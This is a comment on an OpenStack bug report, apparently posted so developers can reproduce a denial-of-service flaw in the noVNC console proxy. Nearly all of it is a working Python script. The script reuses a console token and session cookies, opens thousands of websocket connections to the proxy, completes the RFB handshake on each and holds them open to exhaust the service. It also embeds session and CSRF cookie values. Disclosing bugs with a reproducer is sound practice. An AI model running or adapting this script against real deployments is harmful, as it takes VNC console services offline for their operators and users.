Comment 48 for bug 1227575

Revision history for this message
Yang Luo (hsluoyz) wrote :

the very beginning dos script seems to lose its effect within my icehouse distribution.
Here's a new one FYI.

from websocket import create_connection
import socket
from websocket._abnf import *

# get the below token from nova get-vnc-console <server_uuid> novnc
cookie = "token=1ee0401e-2703-472f-a1e8-808797b098be" + "; " +\
    "splunkweb_csrf_token_8000=6291176153857905334" + "; " +\
    "horizon.tabs=%7B%22instance_details%22%3A%22%23instance_details__overview%22%7D" + "; " +\
    "csrftoken=TNZO7K4Inxc4SGfo0WRryYzxoXsD0dXU" + "; " +\
    "sessionid=\".eJytVVtz3DQUTrdJNt2QhN5oy6UJt7IBuivJsmV3hhdgeACmzGSqGb9kdmTpODbxyqu1vJAHz8ALP4W_xV9B9m4CBZLAlCdbR0fnnO87R59-6jXmxpDv1rqS5QzUxJanoPlBSmiEoshLUuYHEWAsiCCBZBJ74CNGeL-uYD7JVXywtrYW0hCnEHjEIwENmUoYAg-FAhBDiKLU9Pj2HE7yUk-0mALf_RJSURf24Kgz8p2JqG02WYXMenxv5Q1azcpc2_ixy5JZO3s2HhdnT2Wp7bwsCpg_8xFC4wUZIXOT77nzi1xCNVkej2-5U8vf7zSYdX7nT3kSIR1SxZ842LqybtVtjlb20TdwVtlSw-crv51CVHYipM0XuT37ev-rX1_wjY4t-ZcIbfjBi3ZnYDYOfzabjekP-aYqpyLXZqsxt4a8lyszeM7XWzrM9vOa765q_0JYUZQn5rVjszNszO4w3nMgznmoJkWuTyuzd9xhuzCb14_N7cbcGcZbzizUNNf86FtzN_7sMt5CxoLxAo9BSIFFShKWMCpVKlIMAZYoxCpQxPfjzQsOzb1svUs7q5Mil22C-_9Dgp6L4Nh4o5skCoqKBPu-F3gUkyj0Il9AhFmIBRVKxNutt7Yw16JoK3jw6hXUIl53MezZDMzDDu-iLOopdNauQY86q8y1gnndmDeH2d5x5ih_qzFvD7O78aPLSohIRLJ7L89hdv8a_yUTREQSUkm8JElogmmCwsRjkiZSIZRGUfbg6jC1yB7GGy1bU3EC2RLCSSG0BAfhnXMIjxuz30K4ikXqLti1LP4DzFePuaQiwBgkC1iSppiCh8OIeiCw73lICT8KsquH4F-l6ujqt10up7PatoR17S8XwtF1cE7Xu4157-qOB66e_9Lx1n81-yIABysRLBA0BJIoX1Gc0lDJFAV-eGXHXZgLCBrsD-X81EFYrmrnpR2K989RfNCYD1sU-5eF83zPZ52s_h1LdvNiQttbiUSaUr-lNHHdkYRA5PsBSIpcvdfLdlf0VicBoK1TVld1uzxdyW8NfMOdgco8OTYfOUUcrhwmU5gmTserxhw608a57lXueekEfqm37j0xH_O-Wj445hPehx9n-dzF-1QqYcHmUxhc_JinfND_7UZv67bXXfiqDAOER6vvgFs5MKPDIzP-5cgg3p_Ny-9BWoMbQ4bZoGPlukEzXrb9R7WG1ny9Ldf4jQlcjKz30jaru6ci5AdAGEsjoXCSuqEIIsl8jEIvJaEMnGAyvmlBC21NlJE6qUe_A_xhWBw:1Y6wUZ:VnAb0AP64d0OvuJ_cZUx55x4xeI"

s = "Pragma: no-cache\r\n"
s += "Cache-Control: no-cache\r\n"
s += "User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36\r\n"
s += "Accept-Encoding: gzip, deflate, sdch\r\n"
s += "Accept-Language: en-US,en;q=0.8,zh-CN;q=0.6,zh;q=0.4,ja;q=0.2,zh-TW;q=0.2\r\n"
s += "Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits"

connection_container = []
for i in range(1, 10000):
    try:
        print "Creating Connection"
        ws = create_connection("ws://ly-controller:6080/websockify", 20, header={s}, cookie=cookie, subprotocols={"binary", "base64"})
        print "Receiving..."
        frame = ABNF.create_frame("RFB 003.008\n", ABNF.OPCODE_BINARY)
        frame.mask = 0
        ws.send_frame(frame)
        result = ws.recv()
        print "Received '%s'" % result
        connection_container.append(ws)
    except socket.timeout as e:
        print e

import time
time.sleep(60)
for connection in connection_container:
    connection.close()